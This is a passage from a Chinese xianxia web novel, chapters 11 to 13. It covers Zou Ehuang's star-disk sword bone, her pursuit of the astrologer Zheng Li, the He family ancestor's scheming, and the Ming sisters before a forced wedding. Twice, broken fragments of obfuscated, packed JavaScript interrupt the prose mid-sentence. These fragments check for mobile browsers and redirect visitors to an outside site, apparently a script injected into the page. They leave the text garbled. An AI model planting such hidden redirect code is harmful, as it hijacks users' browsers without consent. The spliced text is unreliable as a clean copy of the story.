那个当了开国天子的放牛娃死了,修真界前无古人后无来者的天才死在了登基后的第三年。 “我得去查查他为什么死了,忠君爱国,是老乞丐教过我的第一句话。” 何言知又小声嘟囔了些什么,邹娥皇没听清—— “再说我哪里有什么当大官的经验,坐在那个位置上还不是平白害人,等将来大周需要我守天下的时候,我再出现...” 哪里有人科举不是为了当大官呢? 还是个儒修。 邹娥皇只当听错了。 游历了一阵,邹娥皇身无分文两手空空到最后,险些连背上裹着黑布的剑都要当了,也依旧没能唤醒剑心,最后只好同何言知告别。 “你别老玩那星盘了,我师父都说了没什么用。” 离别前,邹娥皇没和何言知在不夜城的朋友一样督促他再度为官,而是郑重其事地叮嘱他。 “我之前教你的那个星盘,并不是什么大本事,推测机缘来历还行,左右吉凶这些事都干不了,说一句旁门左道也是不过分的,你别真学进去了,白白荒废了你的儒道。” 何言知眯眼笑了下,说没事。 后来两人再见面,开国盛世的大周朝也变成了末代动荡的局面。 邹娥皇看着密州的滚滚狼烟,对着何言知说的第一句话是: “到了你要给大周卖命守天下的时候了?” 而何言知对她说的第一句话是:“你也要来杀我取密州令?” ——后来的邹娥皇第一次后悔。 ——她想,如果她还能拔出剑就好了。 11. 第 11 章 血溅到身上的时候,邹娥皇才意识到她走神了。 那骤然绽放璀璨夺目的星盘随着她情绪的起伏,已不知何时变得锋芒逼人,如同黑色的漩涡要将周围的一切吸收殆尽;方才还出言不逊的黑斗篷,如今浑身冒血,后背是控制不住的发抖。 那是人对危险的本能臣服。 他没见过这样的星盘。 像剑一样锐不可当。 点燃了整个天幕。 在这个动辄就是打打杀杀,刀光血影的修真界,一门传承不兴的原因有且只有那么一个—— 即,没什么战力。 占星术作为这其中之一,自然也是如此。 可是邹娥皇手里的星盘,却和他印象中的任何一种都不一样,哪怕是交给他占星术的那个人,也并没有提过,星盘,竟然是能伤人的... 还是这样的不容抗阻的混沌力量,从吞噬掉一切的光源,到成为光源本身—— 忽然,一直高速旋转的星盘不动了。 它慢慢地从膨大的球形体变回来扁薄的圆盘,飞回了邹娥皇的手中,又好像是知道刚刚伤到了别人,有些心虚地蹭了蹭她的手心。 看起来已经养出了灵性。 邹娥皇抬起眼眸,怔怔然地瞄了一眼黑斗篷。 ...现在已经不能叫做黑斗篷了。 半柱香前,那反光神秘的黑绸面料不知道何时已经变成了几条长条状的烂布,虚虚挂在他身上,血水滴滴答答地从他身上流下——是刚刚离爆发的星盘太近,扎出来的。 “你...还好么...”她亦有些心虚。 喧闹的人群被这变故整得噤若寒蝉。 青度怀中抱着的剑“砰”地一声跌落在地上,剑的主人还有些呆呆地没反应过来。 台上那个飒姐...是师叔? 几个带着面纱的姑娘亦呆呆地仰头看向台上。 迎风而站的邹娥皇面容平平,没什么特色。可是此刻一手背于身后,一手揽着星盘,脚不沾地立于台面上,竟有种说不出的仙人之姿。 粉衣服的姑娘激动的打了个手势。 ——好帅!!!啊啊啊啊啊! 白衣服的姑娘蹙眉,对着粉衣姑娘轻轻比划两下。 ——收敛点,别暴露了。 何城作为修真界数一数二的富饶之城,却因为某种原因处处制定下压制女子的条规,不准女子识字,也不准女子拜入书院秦,教她们相夫教子,贤良淑德。 但众所周知,哪里有压迫,哪里就有反抗。 旁人不允许她们识字,她们就自己创字;男子不允许她们启智,她们就自创手语在外面交流。 邹娥皇看着对面有些许狼狈的占星师,想了想从袖子里掏出了一枚灵丹递给对方。 “抱歉,刚才我想到了一些事情,一时没控制好力道。” 她道歉是真心实意,然而对方如受了奇耻大辱一般拍开了她的手。 “滚...” 郑力从嗓子眼里挤出了这么一个字。 “你今天或许能杀了我,”他喉咙里发出阵阵古怪的笑声,原先半张平平的面目逐渐瓦解,藏在脸上的化容随着从嗓子眼里吐出的一口沉血,逐渐变得清晰起来。 吊眼搭着鹰鼻,一副恶人长相。 可邹娥皇观这人星盘明亮,是少见的心纯无垢者。 “道友,怎么平白无故骂人?” 邹娥皇心平气和地问。 关爱妄想症患者,从自己做起。 什么时候说过要杀他啦? “咳咳...”郑力顽强地吐了口血,然后颤颤巍巍地从地上站了起来,“三十年河西,三十年河东,莫欺少年穷...见星盘如见人,你的星盘上面都是不详的血色...你今日就算杀了我,我也是不服你的!占星师一道比拼的本就不是这个,是运测的准度...” 邹娥皇起先还在笑。 听了一半脸色却突然垮了。 三十年河西,三十年河东?这不是她上一辈子经常看的那些男频小说流里面的经典台词吗,这个修真界怎么会有—— 等等,《踏破蓬莱第一剑》里面,一开始教方半子的师父,和蓬莱有生死大仇的那名落魄修士...不会就是眼前这个小可怜吧? 不对...一定不对。 她安慰自己,在书里的描写,方半子的修仙启蒙师父可是一方大能、嫉恶如仇、料事如神,虽然血皮薄但智商高... 等等,血皮薄?嫉恶如仇? 料事如神? 众所周知,占星师之所以被誉为坑蒙拐骗第一术,就是因为星盘能推测出一个人的来历,通常情况下,得知了这个人的过往,要依着惯性判断他下一步做什么其实并不困难。 郑力咳嗽了几声,喘出了一口长气,正打算再继续骂几句的时候,就看见那个浑身上下都是煞气的女修忽地露出了一个阴森森的笑,凑近他。 “你要干什么!”他大惊,“光天化日朗朗乾坤,你以为蓬莱家大业大,就可以在这里对我下黑手了吗——” 邹娥皇努力挤出一个和善可亲的笑意,然而越笑脸越僵。 她深吸一口气,“道友多想了,我只是想说,刚刚打伤了你。这是疗伤丹,蓬莱道祖亲自炼制的,可活死人肉白骨,请你收下...” 然而话音未落,就见刚刚还只剩一口气吊着的郑力迅速从几丈高的台子上跳下来,像鱼入水般跃入人群,使了一招遁术后,霎时间消失的无影无踪。 遭了! 可不能放他跑了。 邹娥皇有些头疼地揉了揉头,不怕一万就怕万一,万一对方真是主角未来的师父,那所谓的生死大仇其实也有化解的可能...倒不如说一开始就是这人跟碰瓷一样。 怎么就听不懂人话呢? 和当初的何言知一样。 “青度,你看管好招生的事,我去追他。” 邹娥皇左手的星盘再度飞起,变成了发光的小圆球,直直朝着一个方向飞去。 青度愣愣回神,就看见二师叔脚尖点地,身如浮云,一跃百丈高,从人群中嗖地穿了过去。 再一回神,就看见面前自发站了一排人。 “仙长,十四盟如何报名引路?我们进了十四盟,就能进蓬莱吗?” “道友,散仙还有没有能进十四盟修行的机会?” 排队的人群有些激动又有些害怕,激动是因为刚刚邹娥皇和青度展现出来的实力,如果自己也踏上仙途的话,会不会也能翻手为云覆手为雨;害怕则是因为...面前这个叫青度的女仙长,脸若寒霜,看起来颇为不耐烦。 在众人的印象里,修士是瞧不起凡人的。 所以下意识地,就会觉得青度的冷脸是厌烦。 但事实上,青度其实只是浑身发僵。 蓬莱的弟子都知道,新一代的大师姐青度只是面冷,内里却是个好说话的,稍稍围着她的人多了一些,她浑身就会发僵,说不出话来。 比如此刻。 众人看见被围住的小仙人沉默了有半柱香,直到被簇拥的人群不小心地一碰后,那冷清的凤眼才终于掀开,整个人像发直的木板儿一样,直直倒在了地上。 “嘶——” 粉衣姑娘心惊肉跳,正准备上前帮一把手的时候,白衣姑娘拉住了她,划了个仔细看的手势。 顺着手势看过去,才发现躺在地上的青度,体表渐渐浮出了一层护体的罡气。 等罡气覆盖到青度半身的时候,青度的腹部就发出了熟悉的女音,而她的嘴巴仍是微抿。 是腹语。 虽然粉衣姑娘有点想吐槽为什么要用腹语说话,但这个时候不得不先竖起耳朵听。 “十四盟为二十年前抵御妖皇所成立的仙盟,十四州所有修士皆在十四盟的管辖范围内,参与十四盟招生后,则会根据天赋与个人意愿,分配到不同的门派下。目前十四盟有话事权的主要是五大门派,上两门为昆仑蓬莱,下三门为七彩阁,医谷,墨庄。” “你们若要参与十四盟的招生,十日后在城东集合,统一配送。” “至于进了十四盟后,能否进入蓬莱,则要看你们能否理解蓬莱的道义。” “蓬莱是什么道义?”粉衣姑娘听得入迷,禁不住问。 凡门派,甭管规模多小,山头几个,只要开山立派它总归是有那么几条和旁人不一样的道义的,放在世家的体系里,重要性堪比祖训。 最出名的就是昆仑的道义,死战不退,剑在人在。 出名到人们一想起那一群不怕死的剑修,就会想到这句话。 而蓬莱—— “我心应我,万死不辞!” 几乎是同一时间,白衣姑娘轻轻的呢喃声与青度铿锵有力的腹语震荡在了这空中。 与此同时,另一厢。 “嗬——好一个我心应我,万死不辞。” 何家书院至深处,暗无天日的阁子里传出了一阵阴沉的笑意。 何家真正的老祖,邹娥皇的同辈人,何春生。 这句话,三千年前,有个人也曾对他说过。 彼时那个人挡在千军万马前,手里只有一把不出鞘的笨剑,身后要护着的却是一心求死的圣人。 邹娥皇从踏入这片土地的时候,何春生就知道,是她来了。 因为密州令。 密州令在手,何城乃至密州上下的每一寸土地,任何一切的风吹草动,都逃不过他的耳线。 在别人眼里可能是感人肺腑的圣人献祭史,在何家老祖眼里,却可以谱写为另外的五个字——何家发家史。 黑暗中,慢慢燃起了阴火。 那阴火散发出冷冷的蓝光,投落在反光的古铜器上,映照出何春生垂垂暮老的模样。 他和天机子一样,从几年前开始,就已经慢慢地步入了天人五衰。 何春生深深吸了口气,脸上的皮子连着褶子一直簌簌地扑动,冥冥阴火在这密不透风的阁子里不断的跳跃,慢慢地勾勒出了这方寸之地的摆设。 一桌一镜一笔架,另外三面墙壁上都挂着画。 画上的内容异常眼熟,正是朝圣阁传业屋里的最后三幅,共名为《圣人献祭百祥图》。 何家众人一直都不知道,传业屋上面摆着的三幅栩栩如生的画,是赝品。 真品被藏于密不透风的小隔间里,几百年几千年,只有他们老祖一个人得以旁观。 而何谦学这个小奶娃还是猜错了。 画下这三张画的人,正是他们何家自己的老祖,何春生。 如果站在何春生的角度来讲这个故事的话,一开始应当是这样的—— 何春生出生的时候,何家只是一个三流的炼器世家。 只是毕竟是世家,再小再三流也会分个嫡庶。 何春生便是嫡系的那一脉。 他有个疼他入骨的母亲,和一个严肃的家主父亲,他们很爱很爱他。爱到他那个一向是家族利益至上的家主父亲,在得知旁系出了个修练天才后,第一反应不是家族兴旺,而是担忧这天才用了他亲儿的修练资源。 于是他的父亲,做了一件错事。 为了给他儿子家族里最好的修炼资源,这个父亲将别人的孩子,在冰天雪地里,偷偷扔了出去。 那天夜里,电闪雷鸣,瓢泼大雪,父亲青着脸回来,抱住了妻子,道:“我扔了那个孩子,为了咱们的春儿,我扔了那个孩子——那个孩子眉心有一颗莲花样的胎记——作孽!我真是个畜牲——” 夫妻俩都不知道。 何春生当时站在门后,把这一切听的清清楚楚。 而三四岁的小何春生,彼时的第一个念头是: 这不是应当的吗? 他爹娘说过,他是何家的嫡孙,所有人合该给自己让路。 后来何春生长大了,他用何家最优秀的资源,把自己堆砌成了小有名气的天才,在四百岁突破元婴那年,他杀了自己的父亲,成为了新一任的家主。 而四百岁的何春生当时想的是,天下动荡,何家不需要一个老成守旧的家主,该他上位了。 谁威胁到他,就除去谁,这还是他父亲教给他的。 何春生面无表情地给生父阖上死不瞑目的眼帘后,对着哭泣不已的母亲承诺:“何家,一定会变成天下第一世家。” 所以后来,何春生在众人犹豫之际,成了第一个把刀捅向何言知的人。 因为他觉得天经地义,理所当然。 谁挡路,就除掉谁。 所以后来,何春生掏出何言知丹田的手段果断又狠辣。 根本不怕什么雷劫报应。 因为他觉得这是物归原主。 ——是的,他认出了何言知眉心上的莲花胎记。 这本就是他们何家的人,就应该为他们何家生,何家死。 丹田又如何,一身修为伴着名声,都该成为滋养何家最好的养料。 ——何春生是真的,这么发自肺腑的觉得。 唯一的苦恼是,何言知死前已经是大乘修士。 所谓大乘那就是夺天地之造化,自成一片小天地。 就连丹田,都和别人的不一样。 这也正是为什么几千年过去,何春生都无法吸收这丹田里面的能量,因为这丹田自成一方小世界,只有拿到丹田主人留下的密钥,才能开启丹田。 而何言知死前,一身魂魄与精气都献给了密州天地,若说真留下了什么密钥,唯一的可能,便指向了邹娥皇。 何春生等了她三千年。 终于在天人五衰之际,等来了。 阴火幽幽泛光,透出一张森然的面庞。 何春生忽然觉得浑身抖得厉害,他站起来,仔细地摸着挂在墙上的那三幅画。 皱巴巴的皮贴在骨爪上,一点点地描摹画上的边角。 画上的女修只有一个背影,看不清正脸。 作画人应当是有些私心的,因为整幅画上,除了这只留了一个背影的女修,其余人都是有头有脸,圣人是看淡生死的微笑,小人是志得意满的猖狂,路人是跃跃欲试的激动...只有这个女修,留给看画人的,只有一个背影。 他隐约有些兴奋。 在他即将圆寂的前几年,他终于又为何家等来了一个机会。 有的人飞升,是一个人飞升。 而有的人飞升,是一人得道鸡犬升天。 散仙是前者,世家是后者。 何春生满意地想,以自己的资质,飞升上界已然是做梦,可是他的后代会做到这一点。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252010|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而他们都姓何,是一个何家。 天地衰,万马齐喑。 轰隆隆的劫云飘于天边。 邹娥皇终于在一个死巷处停住了脚步。 “道友,出来吧,你的劫云马上到了,若你此刻还在用遁术,无异于引火烧身。” 刚刚在论道台上,邹娥皇就察觉到了,郑力应该快要突破筑基了。 泥水冲刷着肮脏的街巷,角落的阴影里,受着重伤一瘸一拐的郑力终于慢吞吞地走了出来。 眼睛亮的吓人。 “时运不济,我认了。要杀要剐,悉听尊便,三十年后,爷还是一条好汉!”郑力边说边吐血,双手并拢,坐在路边打坐恢复灵气运转。 他实在是跑不动了。 “停!” 都什么跟什么。 邹娥皇心平气和:“你对我有些误解。有误解是很正常的事情,我们要解开矛盾,化干戈为玉帛。” 郑力嗤笑,“有什么误解,你这星盘难道是你自己长的?杀人夺宝,背后捅刀,老子能对你这种人有什么误解?” 邹娥皇叹了一口气。 下一秒,她直接用灵力把疗伤丹弹到了郑力嗓子眼,看对方被噎到后总算闭嘴,开始一个劲的咳嗽,她才慢吞吞地开始讲。 “诚如你所说,星盘不是我的。” “你听说过何言知么?” 郑力艰难地点了点头。 吃人嘴短拿人手短,咽下去了邹娥皇的疗伤丹药后,他刚刚那刺头脾气终于弱了一二分。 但很快,他面如土色:“娘咧,你这个星盘,莫非是抢那位圣人的!?” 这得是活了多少年的老妖精了...想到这,他痛苦地闭上了眼,怕不是今日就是自己的死期,真是天妒英才! 算了,算了,再过十八年,又是一条好汉! 这辈子的遗憾是,还没收个徒弟把占星术发扬光大...前几天看隔壁那个姓方的小孩其实还行,早知道就收下了—— 邹娥皇看着他一会面色红涨又一会面如菜色。 就有些好笑。 “不是抢,他托付给我的。” 邹娥皇半蹲而下,她盯着郑力的吊梢眼,一字一句道:“得到星盘有两个条件,但是只有一个方法。” “那就是自愿赠予。” “从此之后,两人因果相继,报应相抵。” 她一点都不想要这个星盘。 可是那日,那个骄傲了一辈子的青年;那个前半生得意到金榜题名马踏长安,后半生失落到寂寂无名;那个见证了一个王朝,从兴起到缘灭的圣人,对她说—— 他这一生有不少遗憾,却唯独对她有愧疚之心。 邹娥皇忘了那日是晴天还是雨天,她只记得这句话何言知说完后,她整个人都冰凉凉的,好像有什么粘腻的东西在她皮肤上划过。 何言知生的剑眉星目,眉骨紧紧压着眼,不笑的时候很是俊俏的冷;偏生眼睫又和姑娘般生的浓稠纤长,如翩翩欲飞的蝶翼,无端多了几分的风情。 尤其是眉心的那朵莲花印,低眉垂首间,具是慈悲。 那日,他低头看着邹娥皇的时候,正是用这样凄美的眉眼看着她说: “姑娘本是蓬莱真仙人,不敬鬼神不跪人。” “是小生有错,蓬莱山上第一面,就敲断了你的膝盖骨。” “宴霜寒折了的是你的剑心,而小生折的是你的剑骨。所以从此以后,你千百般努力只能论为心魔,他人笑你痴哀你愚,但他们不知道——” 何言知捧起姑娘的脸,轻轻道: “邹娥皇,你将会有一把修真界最厉害的剑。” 而当时的邹娥皇或有所预料,惶惶不安地挣脱开,后退了两步。 “你在说什么?疯了不成,何言知,我这次来是问你愿不愿意跟我回蓬莱的,大周的国运已经衰落,你再坚持下去也只是白白送了一身修为,如今这世上还有几个大乘——逃开今日的死劫,天地岂不是任你傲游!” 何言知说,“连你都知道今日是我的死劫了,你当我不想跑么?” 邹娥皇愣愣,彼时天边的一切都轰轰然,骤然失了色彩。 只剩下青年一句轻描淡写的不甘。 “我不是不想跑,我是跑不了。” “周平那丫的没存一个好心眼,当初哄骗我来修儒道,把我的道和他老周家的国运绑定了,他死倒是死的早,但把爷绑着给他打工——妈蛋,真是给这个碧昂的笑脸给多了!” 骂完后看着邹娥皇古怪的神色,何言知很快收了面上的咬牙切齿。 又装出了一幅仙风道骨的哄骗小姑娘的模样,歪头轻轻笑。 “他们快来了——” 邹娥皇问何言知:“我能出手吗?” 他们,指的是为了密州令要来这里杀他的人。 何言知看着邹娥皇。 有那么一瞬间想起了昔年相逢酒席上,两人同落魄,她振振有词地把剑拔不出来归结于他。 那样厚脸皮的一个小姑娘,怎么现如今反而客气起来了。 “不,不用。”他说,“你只能为我做一件事——了我残愿。” “邹娥皇,听令。” 大乘抬手化风,低手化雨。 所言字字,具为言灵。 男子的手骨极大,紧密地贴着女子的手。 他额头眉心处的莲花印发出幽幽的冷光,邹娥皇感觉额前一烫,下一瞬,就听何言知用一种她从未听见过的天音,缓缓道: “以我之星盘,成君之剑骨。” “祸福相依,天地为契。因果相继,功德共享。” 自那日起,邹娥皇有了最漂亮的剑骨。 尽管,连她自己都不知道是什么样子。 可试问这天下,还有什么样的剑骨比万千星辰璀璨的星盘,还要漂亮夺目? 会有什么事物,能比朋友的心意更贵重。 …… 郑力神色古怪,蹙眉道,“你是想说,你是圣人的姘头?” 姘、姘你个大头鬼啊! “革命友谊懂不懂?” 邹娥皇盘腿坐下,道:“做不做个交易,我替你抗下雷劫,你来我们蓬莱学艺。” “百利而无一失,怎么样,考虑考虑?” 郑力没想到她是要说这个,尖酸的脸上忽然出现了刻意的红晕,他忸怩道:“不成,我想听听你们蓬莱的道义,若是和老子道义相合,老子不用你抗雷劫老子也愿意,若是不相合,你就是为老子抗雷劫死了,老子也不去!” 邹娥皇说:“我心应我,万死不辞。” 郑力怔然,“什么意思?” 他看见这个自刚刚起就一直眉眼带笑的邹娥皇,面容忽然有一瞬间的悲伤。 这种悲伤就好像是冰山一角,转瞬即逝。 尽管轻如鸿毛,却难以忽略。 “意思就是,”她轻声说,“哪怕救一个人代价是刀山火海里走一万次,哪怕你明知道他死的那天是魂飞魄散,哪怕你要为此奉上你的心你的骨,你千千万万年的基业,再也不能飞升的代价——” “你也会救回他的。” “我心应我,万死不辞。” 三千年前,邹娥皇就想好了,何言知,不该死。 12. 第 12 章 距离那日在何城闹得沸沸扬扬的论道台已经过去了七日久,如今街头巷尾都传遍了蓬莱的什么“我心应我”,又是什么“大道三千”。 煞是热闹。 比如这厢,何城明家。 “阿姊,小雅她们说后日偷偷从东巷那边翻出去,到时候咱们姐妹几个都去十四盟看看,就算上不了蓬莱,还有好些门派可以看看,就算姊妹们都没灵根,不能修仙,也比呆在这个破地方强——” 翠竹掩映,红木软榻上坐了两个姑娘。 刚刚说话的那个穿了一身层层叠叠的嫩粉衣,眉飞色舞,正是那日论道台下的粉衣姑娘。 名叫明杏。 而她的对面,坐着的女子白衣胜雪,低眉贤淑。 是她的姐姐,名叫明珠。 和明杏作闹的性子不同,明珠在何城素有美名,举止娴雅;曾对月弹琴,一曲动春,在及笄那日,百家求娶;最后被定给了何家的二公子,只等来年开春,就要抬到何家做少奶奶。 人人都说,明大姑娘,命好。 “不,”这被何城人羡艳的明珠姑娘缓缓推开了妹妹的手,柔声道:“杏儿,你已经大了。” “去求仙的路,你得自己走了。” “阿姊?”明杏怔愣,不明白前几日和她偷偷溜出去看热闹的明月,为何会突然这么说。 “之前明明是你告诉我求仙这条路的...你怎么了,阿姊,若是何家那些人逼你,怕他们做什么,我去,我去把那些个酒囊饭袋们揍一遍,任什么苦衷,咱们姐妹在一起,什么不能解决!” 明珠仍只是摇头,她面色娇羞,微微低声道:“何二公子不是这样的人,我是自愿嫁与他的。” “妹妹,”她伸手捋了下明月散落的鬓发,“以后阿姊不在身边,万事小心。包袱我已经给你收拾好了,后日从西门出发,切记不要撞上爹爹...” 明杏拍开她的手,鼓着脸走了。 这个粉衣小姑娘气冲冲地踢翻了门前的花栽,心里很不是滋味地想娘说的果然没错,阿姊将来嫁人后,她们姊妹的关系就不会有现在这么好了。 她没回头,因而没听见她阿姊惆怅的轻叹。 美人倚在门墙上,白衣皓首,动人心弦。 明家长女明珠,从小被旁人称赞过最多的两个字,不是“美丽”,也不是“端庄”,而是“懂事”。 这种与生俱来的伪装,在有了妹妹明杏后,不知何时变成了长姐如母的成全。 显而易见,一个跳脱,天真,大大咧咧的明杏,能在何城这样礼教森严的地方快快乐乐的长大,背后一定有一个默默收拾的姐姐。 明珠眯眼看着那粉红色的背影,想她的妹妹啊—— 怎么一眨眼,就走到姐姐前面了呢。 “小姐,”丫鬟轻手轻脚地猫了进来。 “何家二公子...说要把正月的婚期提到大后日,夫人命奴婢来叫您,前院都乱了套了。” 大后日? 明珠站起身来,不动声色。 何家自持礼节,从来不做朝令夕改之事,何况是婚期这样要敲定吉凶采纳的日子;更何况,大后日,不就是十四盟招生结束的后一天么。 究竟是二爷的意思,还是说是何家,又要借着婚宴耍什么把戏。 …… 前几日下了几场暴雨,地面还有些泥泞,低低的杨柳在风中摇晃,满天遍地的都是痒痒的柳絮。 邹娥皇拍了拍衣袖,今日是招生结束的日子,她一早便和青度在这里候着了。 眼看着快到日午头,人来的却还很少。 青度脸色比寻常时候还要再冷上三分,往外嗖嗖放着冷气。 两人均有些气馁之际,街口处忽然浩浩荡荡地跑过来了一群五大三粗的壮汉,身上穿得花花绿绿的,各个长得都有些凶神恶煞。邹娥皇瞧着有些发怵,下意识地挪了挪步子,站在了青度身后。 “你们是……?”她试探问。 “高老庄嘎子帮帮主洪兴龙,见过小仙人!”为首的汉子五大三粗,声如洪钟,震的邹娥皇下意识地拿手捂了捂耳朵。 “俺和俺兄弟一百八十人,筑基修士有三人,来求十四盟容身!” “哦哦——”邹娥皇挠了挠头,“这边排队。” 又过了会,只见扭扭捏捏的郑力偷偷绕了远路,鬼鬼祟祟地从众人身后经过,他胳膊里还搂了一个半大的小子。 “师父,师父,咱们这是要去哪?” 方半子费力蹭出半个脑袋问郑力。 他今年刚满五岁,小脸蛋肥嘟嘟的,一看就没受过什么苦。 “嘘——别说话!”郑力低喝道,他捂住小孩的嘴,左张右望。 那日还没等他拒绝邹娥皇的邀请,天雷就滚滚而下,最后只好赶鸭子上架,欠了对方一份大人情。 于是今天,他便不情不愿地来了。 只是出于面子,郑力不想叫旁人看见他。 正推搡间,郑力右胳膊肘一不小心撞上了什么硬硬弹弹的东西,他大骇,回头一看却发现是一个左眼帘上有一道刀疤的男人。 那厢,洪兴龙正在和邹娥皇套近乎,却忽然看见自家二当家一边提溜了个瘦骨如柴的青年,另一边胳膊环抱了个哭闹的奶娃娃,气势汹汹地朝他走来。 “大哥,邹仙人!” “发生什么事了?”洪兴龙问。 在彪悍的帮主身旁显得毫无存在感的邹娥皇,则露出了若有所思的表情—— 瞧瞧,这不是郑力吗! 而那个被抱着的那个哇哇哭的奶娃娃,莫非就是传说中的方半子? “这小子是个拐子,刚才撞到兄弟眼前了!”二当家瞪眼道。 郑力好不容易脚着地,又被大汉一个巴掌拍的踉跄了一下,再一抬头却看见了熟人。 喉头一哽。 只觉得刚才的躲躲藏藏都是白费力气。 “你凭什么说我是拐子!” “呸!”洪兴龙抱着臂,“你这瘦骨嶙峋的,一看就和这大胖小子没什么关系!” “大哥英明,刚刚这厮还捂着娃娃的嘴不让他喊出声!” 洪兴龙是个粗人脾气,平日里走南闯北,但最见不得这些专门拐卖妇女儿童的拐子,当即大喝一声,就要挥拳给郑力一下。 郑力梗着头,脖子气的通红。 不明白自己招谁惹谁了,怎么最近这么背点! “不要打我师父!” “慢着二位,手下留人!” 邹娥皇窜出扒着洪兴龙的胳膊,另一厢方半子把牙磨的咯噔咯噔响,一口咬住了嘎子帮人黑心善的二当家。 “误会,都是误会一场。” 等听完方半子的解释,洪兴龙这才把郑力衣领放下,装作若无其事地用厚手掌箍了箍郑力的背,“兄弟,对不住了哈。但咱们都是老爷们,你这也太小胳膊小板了点,等着有机会哥带你锻体...” “噗——” 几巴掌下去,这次郑力是真的吐上了一口沉血。 天色渐渐地阴沉了下去。 人群渐渐有了喧闹声,但好在被洪帮主压下去了。 青度抱着剑一动不动地靠在墙边,阖眼打瞌。 忽然,过了会,又出现了一群提着衣摆在泥泞里踏步的姑娘。 领头的是那日眼熟的粉衣服,此刻高高招着手,对这边喊道:“仙长,仙长——你们还收么?” 邹娥皇含蓄地笑了下,说收。 青度听了这句话后乜起眼看向师叔,微微勾唇,十四盟给她们定的往返时间是在午时,而今却已经超过了三个时辰有。 很难说,是不是在等这群姑娘。 明杏气喘呼呼地跑来后,绞着粉裙子又有些难为情地问,“仙长,我们还有几个姊妹可能被束住了手脚,能不能再等等她们。” 她刚刚跑过来的时候,就看见这群人整装待发,心知是快要出发了。 可是...可是...明杏希翼地眺望来时的路——她总觉得再过一会,那眼熟的瓦子里就会跑出来一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252011|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白衣胜雪的阿姊,弯着眼冲她笑。 明杏自持胆子大,但这次求的是杀人跟捏蚂蚁一样的仙人,她心里也要噔噔地打着退堂鼓。 就在沮丧地要放弃的下一刻,一只手轻轻地摸了摸她的头顶。 那仙人揉了揉她的头,说当然。 “不着急,今日还没过去呢,再说,我也有要等的人。” ——这面目平平的女仙人如是笑着回明杏道。 仙长要等谁? 明杏愣愣地抬头,却看见天边不知道何时出现了一群仙鹤,挥舞着翅膀缓缓降落。 鹤羽缤纷,飘飘若仙境;请帖未至,仙鹤先来。 天边登然暗淡,只有缤纷的落羽闪着金光。 邹娥皇面无表情地伸手,接过了一只落羽。 落羽慢慢溶剂于半空中,接着边边角角燃起喜庆的红光与夺目的金光,最后展开成了一张婚帖。 只有密州何家,才有这样雅致的手段。 “我等的人到了。” 邹娥皇轻声说。 她从踏进密州那一刻,她就知道,自己已经被人盯上了。 这次来,就是做个了断的。 “青度,接下来的招生任务全权交给你,夜过子时,直接带人走。” 青度抬眼,干脆地应下了。 身后一群惶惶的面孔里,只有明杏抖着手接过一片鹤羽,看着它缓缓变化成婚帖。 那上面,新娘的名字,叫明珠。 不远处巷子里,低矮的屋檐下,燕子衔泥低低飞划而过。 “大姑娘,后悔吗?” 慈祥的老母亲站在明珠身后,手拿篦子为她挽起妇人模样的发髻。 明日,就是明珠出嫁的日子了。 “你父亲总说你乖顺,听话懂事,比明杏强百倍——可我毕竟是你娘,哪里能看不出你的一身反骨。姑娘,大姑娘,你自小就是娘最聪明的孩子。” 老母亲长长叹出了口气。 “在旁的女子要么认命,要么撞得头破血流的时候,你选择了等,于是你偷偷跟着我学会了女书,趁着参加宴席的机会去和同道者会和,你们收集外面的资料,了解密州外的势力,把《妾华》的功法改编成了《日月》,创立了女子内流通的手语...” 梳头的手微微颤抖,明母的声音有一瞬哽咽。 “娘应该知道的,你一直做梦都想飞出去——” “娘怎么会不知道,蓬莱的‘我心应我,万死不辞’曾叫你在桌案上描摹过千百万遍,而今日,来招生的正是蓬莱的两位仙长——” “明珠,娘、娘...” 泣不成声。 白衣佳人温和地握住了母亲有些脱力的手腕,将簪子固在头上。 用力的,深深的。 “阿娘,我不后悔的。” “阿娘,”她将柔软的侧颊贴在母亲的指腹上,又轻轻道:“我知道我十岁那年,您本来有机会,跟着七彩阁的仙人去求仙的,但是最后为了我和明杏,还是留下来了。” “留在了这发烂的何城。” “所以娘,我不会后悔的,我是明家的长女,明杏的阿姊,我是明珠。” 而回应这姑娘的,只是老母怆然的一滴热泪。 “明珠你不懂,娘有多希望——今日走的是你,而不是你妹妹。” 她是母亲,手心手背,明杏明珠于她都是肉疙瘩—— 只是明珠,太懂事了。 懂事到,不得不心疼。 所以遗憾是什么呢? 是何言知大乘之身半步成仙,还是邹娥皇拔不出来的剑;是妹妹的义无反顾不再回头,还是垂垂暮老的母亲当初或也有求仙的机会。 又或者只是,明珠蒙尘。 但无论如何,这穿着白衣干干净净的明家大姑娘,双手合十,静静地想—— 若这天上真有神佛,若这世上真有因果。 小妹,你的仙途一定要万丈光明。 阿姊会为你铺一条,锦绣仙途。 13. 第 13 章 邹娥皇上辈子是个没步入社会的学生,参加婚宴从不需要自己备礼金,这辈子她是个修士,平日里神龙见尾不见首,交好的那几个如七彩阁阁主尹月都是坚定的不婚者... 综上所述,她其实对于参加婚礼该备什么,要多少礼金合适,没什么概念。 目送青度等人走后,邹娥皇就慢悠悠地坐在酒肆借住的地方掏出来了何家给的喜帖,先把新郎同新娘的名字过了遍。 新娘名字很秀气,叫明珠,几乎一下子就让人幻视了一个如珠似玉的大家闺秀。 而与之相对的,是新郎的名字。 何富贵...一个富贵到让人疑心不该是何家起的名字。 